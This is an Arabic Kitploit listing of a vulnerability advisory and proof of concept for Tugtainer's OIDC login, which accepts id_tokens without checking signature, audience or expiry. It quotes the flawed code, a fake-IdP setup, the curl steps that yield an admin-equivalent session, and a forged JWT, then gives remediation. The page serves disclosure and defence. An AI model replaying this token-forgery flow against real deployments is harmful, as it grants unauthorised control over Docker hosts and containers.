Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
tugtainer-PoC — PoC — يتم قبول OIDC id_token دون التحقق من التوقيع/الجمهور/انتهاء الصلاحية في Tugtainer (GHSA-crjc-6vc7-xrfh، CVE-2026-87004، CVSS 8.1). | Kitploit
أدوات/GitHubGitHub/squeeze440/tugtainer-poc
تحليل الثغرات الأمنيةالاستغلالأمن الويباختبار الاختراقإدارة الهوية والوصول (IAM)المصادقة
GitHubsqueeze440/tugtainer-poc

tugtainer-PoC

PoC — يتم قبول OIDC id_token دون التحقق من التوقيع/الجمهور/انتهاء الصلاحية في Tugtainer (GHSA-crjc-6vc7-xrfh، CVE-2026-87004، CVSS 8.1).

عرض المستودع
منذ 7 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

الملخص

حالة CVE: مطلوبة، في انتظار التعيين. تم نشر هذا الاكتشاف باسم GHSA-crjc-6vc7-xrfh. عند تعيين CVE، يُعاد تسمية هذا المستودع إلى CVE-YYYY-NNNNN-tugtainer-PoC وتُستبدل هذه اللافتة برابط CVE.

الباحثDostxodjayev Abdullox (@squeeze440)
الاستشارةGHSA-crjc-6vc7-xrfh
CVSS 3.18.1 (مرتفع)
الضعفCWE-347

الملخص

يسمح التحقق غير السليم من التوقيع التشفيري في مزوّد مصادقة OIDC في backend/modules/auth/providers/auth_oidc_provider.py في Quenary/tugtainer (الإيداع 3138226) لمهاجم في موقع يمكّنه من التحكم في استجابة تبادل الرمز المميز بين الواجهة الخلفية لـ tugtainer ومزوّد OIDC المُهيَّأ أو اعتراضها (مثل موقع MITM على الشبكة، أو مزوّد هوية مخترق/خبيث، أو اختراق DNS/إنهاء TLS على ذلك المسار) بتزوير id_token عشوائي والحصول على جلسة tugtainer مصادَق عليها بالكامل ومكافئة لصلاحيات المسؤول لأي هوية، عبر GET /api/auth/oidc/callback.

المنتج

Quenary/tugtainer — أداة تحديث تلقائي لحاويات Docker مستضافة ذاتيًا مع واجهة ويب، ومعمارية وكيل/واجهة خلفية.

الإصدار المُختبَر

الإيداع 31382268bf16df32f33316fe4d601ad1635871d4 (الفرع الافتراضي للمستودع، تم استنساخه في 2026-08-05).

تقدير CVSS v3.1

8.1 (مرتفع) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AC:H (وليس AC:L): الاستغلال ليس مجرد طلب شبكي غير مصادَق عليه. فهو يتطلب من المهاجم التحكم في ما تُرجعه نقطة نهاية الرمز المميز إلى الواجهة الخلفية أثناء تبادل الرمز من خادم إلى خادم — وهو واقعيًا موقع MITM بين الواجهة الخلفية لـ tugtainer ومزوّد الهوية الحقيقي، أو مزوّد هوية مخترق/خبيث تم تهيئة الواجهة الخلفية للثقة به. هذا شرط مسبق حقيقي وغير تافه، لذا يُستخدم AC:H بدلًا من AC:L.
  • UI:N: بمجرد أن يحصل المهاجم على ذلك الموقع الشبكي، لا حاجة لتفاعل الضحية — يمكن للمهاجم إدارة تدفق تسجيل الدخول بالكامل بنفسه (مؤكَّد في PoC أدناه، من البداية إلى النهاية باستخدام curl).
  • C:H/I:H/A:H: الجلسة الناتجة هي جلسة tugtainer كاملة وغير مقيّدة (لا يوجد RBAC/قائمة سماح لهويات OIDC — انظر التفاصيل) مع الوصول إلى كل نقطة نهاية لإدارة الحاويات/المضيف: سرد/قراءة جميع مضيفات وحاويات Docker، بدء/إيقاف/قتل/إزالة الحاويات، سحب الصور، و(إذا كانت ALLOW_HOOKS/ALLOW_EXEC مُفعَّلة على مضيف) تشغيل أوامر داخل الحاويات.
  • S:U: يبقى التأثير ضمن حدود التفويض الخاصة بـ tugtainer (يصبح المهاجم مستخدمًا مصادَقًا عليه في tugtainer)؛ ولا يُعامَل كتغيير في النطاق إلى مكوّن مُفوَّض بشكل منفصل.

التفاصيل

backend/modules/auth/providers/auth_oidc_provider.py، الدالة _exchange_oidc_code (الأسطر 267–331)، وتحديدًا الأسطر 299–306:

root@kitploit:~
# Verify and decode ID token if present
if "id_token" in token:
    # For now, we'll decode without verification (not recommended for production)
    id_token_claims = jwt.get_unverified_claims(token["id_token"])
    return {
        "access_token": token.get("access_token"),
        "id_token_claims": id_token_claims,
    }

تقوم jwt.get_unverified_claims() (python-jose) بفك ترميز base64 لحمولة JWT دون التحقق من التوقيع، أو exp/iat، أو aud/iss — وهو عكس ما يتطلبه OpenID Connect Core 1.0 §3.1.3.7 من الطرف المعتمد (RP) فعله قبل الوثوق بـ ID Token. تعليق المطوّر نفسه ("not recommended for production") يؤكد أن هذا كان اختصارًا معروفًا، وليس خيارًا تصميميًا مقصودًا.

تتدفق المطالبات الناتجة مباشرة إلى إنشاء الجلسة دون أي فحوصات إضافية:

  • تستدعي callback() (السطر 137) الدالة _exchange_oidc_code() ثم _create_oidc_user_session() (السطر 333)، التي تستخرج email/sub/preferred_username (الأسطر 341–345) مباشرة من المطالبات غير المُتحقَّق منها وتُصدر ملفات تعريف ارتباط JWT حقيقية وموقَّعة لـ tugtainer باسم access_token/refresh_token (HttpOnly، SameSite=strict) عبر _set_cookies().
  • لا توجد قائمة سماح للهويات المسموح بها في OIDC في أي مكان في قاعدة الشيفرة (grep لأنماط allowlist/allowed-email في backend/ لا يُرجع شيئًا) — أيًا كان sub/email الموجود في المطالبات (غير المُتحقَّق منها) يصبح هوية الجلسة الجديدة، بنفس صلاحيات أي مستخدم آخر مسجَّل الدخول (لدى tugtainer مستوى ثقة واحد مسطّح، بلا RBAC لكل مستخدم).
  • نظرًا لأن aud وiss لا يُفحصان أبدًا، فإن ID Token صادرًا لعميل آخر غير مرتبط تمامًا بنفس مزوّد الهوية — أو، كما هو موضَّح أدناه، واحدًا بتوقيع غير صالح/غير مطابق وexp منتهي الصلاحية بالفعل — يُقبَل بسهولة مثل الرمز الشرعي.

لا يمكن الوصول إلى هذا إلا عندما تكون OIDC_ENABLED=true (تفعيل اختياري من المسؤول)، لذا لا يؤثر على النشر الافتراضي/القائم على كلمة المرور فقط.

إثبات المفهوم

تم التحقق منه ديناميكيًا مقابل التطبيق الحقيقي المبني من هذا الإيداع (docker build -f Dockerfile.app)، وتشغيله عبر docker run عادي (وليس الصورة المنشورة) مع:

root@kitploit:~
OIDC_ENABLED=true
OIDC_WELL_KNOWN_URL=http://<attacker-controlled-idp>:9999/.well-known/openid-configuration
OIDC_CLIENT_ID=tugtainer-test-client
OIDC_CLIENT_SECRET=whatever-not-checked-by-fake-idp
OIDC_REDIRECT_URI=http://localhost:19412/api/auth/oidc/callback

مزوّد OIDC وهمي بسيط (evidence/fake_idp.py، محفوظ في مجلد هذا التقييم) يقدّم مستند اكتشاف صالحًا، وعند POST /token يُرجع دائمًا id_token غير صالح بشكل متعمد من كل النواحي التي يُفترض أن يفحصها الطرف المعتمد:

  • التوقيع = بايتات عنصر نائب حرفية، وليس توقيع HMAC/RSA حقيقي
  • aud = "totally-wrong-client-id-not-tugtainers" (لا يطابق OIDC_CLIENT_ID)
  • exp = قبل ساعة واحدة (منتهي الصلاحية بالفعل)

الخطوات (أوامر حقيقية، مخرجات حقيقية، كلا الحاويتين تعملان محليًا):

root@kitploit:~
$ curl -s -i -c cookies.txt "http://localhost:19412/api/auth/oidc/login"
HTTP/1.1 302 Found
location: http://tugtainer-audit-idp:9999/authorize?client_id=tugtainer-test-client&...&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ
set-cookie: oidc_state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ; HttpOnly; Max-Age=300; Path=/; SameSite=lax

$ curl -s -i -b cookies.txt -c cookies.txt \
  "http://localhost:19412/api/auth/oidc/callback?code=totally-arbitrary-unused-code&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ"
HTTP/1.1 302 Found
location: /containers
set-cookie: access_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=300; Path=/; SameSite=strict
set-cookie: refresh_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=2592000; Path=/; SameSite=strict

حمولة access_token بعد فك الترميز (كما أصدرها موقّع JWT الخاص بـ tugtainer لهذا "المستخدم"):

root@kitploit:~
{"type":"access","auth_provider":"oidc","user_id":"[email protected]",
 "user_info":{"iss":"http://tugtainer-audit-idp:9999","sub":"[email protected]",
 "email":"[email protected]","aud":"totally-wrong-client-id-not-tugtainers",
 "exp":1785918530,"iat":1785914930},"exp":1785922430}

ثم تم تأكيد الجلسة مباشرة مقابل نقاط النهاية المحمية:

root@kitploit:~
$ curl -s -i -b cookies.txt "http://localhost:19412/api/auth/is_authorized"
HTTP/1.1 200 OK

$ curl -s -b cookies.txt "http://localhost:19412/api/hosts/list"
[{"name":"local","enabled":true,...,"url":"http://127.0.0.1:8001","secret":null,...,"id":1,"available_updates_count":0}]

$ curl -s -i "http://localhost:19412/api/hosts/list"   # no cookies, for comparison
HTTP/1.1 401 Unauthorized

يؤكد سجل مزوّد الهوية الوهمي نفسه الرمز المزوَّر بالضبط الذي أعاده:

root@kitploit:~
[fake-idp] issuing FORGED id_token (bad sig, wrong aud, expired):
eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJpc3MiOiAiaHR0cDovL3R1Z3RhaW5lci1hdWRpdC1pZHA6OTk5OSIsICJzdWIiOiAiYXR0YWNrZXJAZXZpbC5leGFtcGxlIiwgImVtYWlsIjogImF0dGFja2VyQGV2aWwuZXhhbXBsZSIsICJhdWQiOiAidG90YWxseS13cm9uZy1jbGllbnQtaWQtbm90LXR1Z3RhaW5lcnMiLCAiZXhwIjogMTc4NTkxODUzMCwgImlhdCI6IDE3ODU5MTQ5MzB9.VEhJU19JU19OT1RfQV9WQUxJRF9TSUdOQVRVUkVfSlVTVF9SQU5ET01fQllURVNfMDAwMDAw

مساعد PoC: evidence/fake_idp.py (محفوظ بجانب هذا التقرير).

لا توجد لقطات شاشة — هذا تجاوز لواجهة برمجة تطبيقات من خادم إلى خادم دون أي مكوّن متصفح/واجهة مستخدم لالتقاطه؛ ونص curl أعلاه هو الدليل الحقيقي غير المعدَّل للأوامر/الاستجابات.

التأثير

أي مهاجم قادر على التأثير في استجابة استدعاء تبادل رمز OIDC الذي تجريه الواجهة الخلفية لـ tugtainer (MITM على ذلك المسار الشبكي، أو مزوّد هوية خبيث/مخترق، أو اختراق DNS/إنهاء TLS بين الواجهة الخلفية ومزوّد الهوية) يمكنه إصدار جلسة tugtainer صالحة بالكامل وغير مقيّدة بهوية عشوائية — دون الحاجة لمعرفة بيانات اعتماد أي مستخدم حقيقي ودون تفاعل من مستخدم شرعي. نظرًا لأن tugtainer لا يملك RBAC لكل مستخدم، فإن تلك الجلسة تمتلك وصولًا كاملًا للتطبيق: تعداد جميع مضيفات وحاويات Docker المسجَّلة، بدء/إيقاف/قتل/إزالة الحاويات، سحب/وسم الصور، و(حيث تكون ALLOW_HOOKS/ALLOW_EXEC للوكيل مُفعَّلة) تنفيذ أوامر داخل الحاويات.

نقاط الضعف

  • CWE-347: التحقق غير السليم من التوقيع التشفيري
  • CWE-345: التحقق غير الكافي من أصالة البيانات (غياب فحوصات aud/iss/exp)
  • CWE-287: مصادقة غير سليمة

المعالجة

في _exchange_oidc_code، استبدل jwt.get_unverified_claims(token["id_token"]) بفك ترميز مع التحقق: اجلب jwks_uri الخاص بمزوّد الهوية من مستند الاكتشاف، وحل مفتاح التوقيع بواسطة kid، واستدعِ jwt.decode(id_token, key=jwk, algorithms=[...], audience=Config.OIDC_CLIENT_ID, issuer=discovery_doc["issuer"]) (يدعم python-jose كل هذا). يفرض هذا التوقيع وexp/iat/nbf وaud وiss وفق مواصفة OIDC Core. فكّر أيضًا في إضافة قائمة سماح اختيارية لقيم email/sub المقبولة للنشرات التي تشارك مزوّد هوية مع تطبيقات أخرى.

الفضل

Dostxodjayev Abdullox (GitHub: squeeze440)

قناة الإبلاغ

GitHub Security Advisory / الإبلاغ الخاص عن الثغرات على Quenary/tugtainer (تم تأكيد تفعيل PVR).

تنزيل الأداة